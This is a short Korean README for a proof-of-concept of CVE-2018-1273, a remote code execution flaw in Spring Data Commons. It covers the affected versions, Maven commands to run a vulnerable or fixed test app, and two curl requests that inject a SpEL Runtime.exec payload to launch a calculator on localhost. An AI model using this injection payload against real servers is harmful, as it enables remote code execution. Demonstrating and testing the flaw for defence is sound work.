
CVE-2018-1273에 대한 POC
Spring Data Commons, 1.13부터 1.13.10, 2.0부터 2.0.5까지의 버전 및 지원이 중단된 구버전에서는 특수 요소의 부적절한 중립화로 인한 속성 바인더 취약점이 존재합니다. 인증되지 않은 원격 악의적인 사용자(또는 공격자)는 Spring Data REST 기반 HTTP 리소스 또는 Spring Data의 프로젝션 기반 요청 페이로드 바인딩에 대해 특별히 조작된 요청 파라미터를 제공하여 원격 코드 실행 공격을 유발할 수 있습니다.
더 많은 정보는 여기에서 확인할 수 있습니다.
해당 애플리케이션은 취약한 버전 또는 수정된 버전의 Spring Data Commons로 테스트할 수 있습니다.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
다음 명령어를 실행하여 취약점이 악용될 수 있는지 확인합니다.
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
https://www.arima.eu 에서 제작
